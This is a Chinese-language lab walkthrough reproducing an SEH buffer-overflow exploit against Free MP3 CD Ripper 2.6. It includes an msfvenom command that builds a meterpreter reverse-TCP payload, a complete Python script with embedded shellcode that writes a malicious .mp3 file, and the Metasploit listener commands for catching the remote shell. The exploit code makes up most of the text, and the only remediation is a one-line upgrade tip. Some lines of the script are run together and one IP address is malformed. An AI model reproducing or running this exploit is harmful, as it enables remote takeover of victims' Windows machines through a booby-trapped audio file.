简介

 

Free MP3 CD Ripper是一款音频格式转换器。Free MP3 CD Ripper 2.6版本中存在缓冲区溢出漏洞。远程攻击者可以借助特制的以.mp3为后缀的文件,利用该漏洞执行任意代码。

 

环境搭建

1.攻击机:kali                    ip:192.168.111.1292.靶机:windows10           安装Free MP3 CD Ripper 2.6版本                 ip:192.168.3.20

 

Free CD Ripper 2.6下载地址：https://free-mp3-cd-ripper.soft32.com

 

漏洞复现

 

利用msf生成反向连接的shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.129 lport=888 -f c --smallest

替换脚本中的shellcode.

#Stack-based buffer overflow in Free MP3 CD Ripper 2.6buffer="A"*4116
NSEH="\xeb\x06\x90\x90"
SEH="\x84\x20\xe4\x66"
nops="\x90"*5
buf=""
buf+="\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
buf+="\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
buf+="\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
buf+="\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf+="\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
buf+="\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
buf+="\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
buf+="\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf+="\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
buf+="\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
buf+="\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
buf+="\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x6f\x81"
buf+="\x68\x02\x00\x03\x78\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf+="\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf+="\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
buf+="\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
buf+="\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
buf+="\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf+="\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";pad="B"*(316-len(nops)-len(buf))
payload=buffer+NSEH+SEH+nops+buf+pad
try:f=open("Test_Free_MP3.mp3","w")print ("[+]Creating %s bytes mp3 Files..."%len(payload))f.write(payload)f.close() print ("[+]mp3 File created successfully!")
except:print ("File cannot be created!")

运行脚本,生成恶意mp3文件,python 1.py

上传恶意文件到靶机windows10上

打开msf并设置监听

msfconsole

use exploit/multi/handler
set lhost 192.168111.129
set lport 888
set payload windows/meterpreter/reverse_tcp

运行exploit

返回靶机，利用Free MP3 CD Ripper打开文件

返回kali，已经与靶机建立连接

 

修复建议

 

升级到最新版